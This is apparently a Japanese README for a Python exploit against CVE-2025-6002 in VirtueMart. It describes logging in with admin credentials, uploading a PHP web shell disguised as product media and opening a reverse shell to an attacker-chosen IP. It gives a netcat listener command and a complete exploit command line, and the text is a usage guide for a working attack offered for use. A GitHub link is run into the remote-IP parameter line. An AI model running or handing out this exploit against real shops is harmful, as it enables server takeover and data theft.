CVE-2025-6002 のエクスプロイト

このスクリプトは、VirtueMart < 4.4.10 (CVE-2025-6002) の認証済み任意ファイルアップロードの脆弱性を悪用します。この脆弱性は、次のブログ記事で説明されています: https://blog.blacklanternsecurity.com/p/doomla-zero-days

このスクリプトは、指定された認証情報で VirtueMart にログインし、新しい製品を作成して、PHP Web シェルをメディアファイルとしてアップロードします。その後、指定された IP/ポートへのリバースシェルを起動します。

パラメータ:

• --url: VirtueMart の URL
• --username: 管理者ユーザー名
• --password: 管理者パスワード
• --remote-ip: 攻撃者の IP アドレスhttps://github.com/schn1tzelme1ster/CVE-2025-6002/tree/main
• --remote-port: 攻撃者のポート

使用方法:

1. 攻撃マシンで Netcat を実行します:

nc -nlvp 1337

2. エクスプロイトを実行します

python3 exploit.py --url http://x.x.x.x --username admin --password kartoffel --remote-ip x.x.x.x --remote-port 1337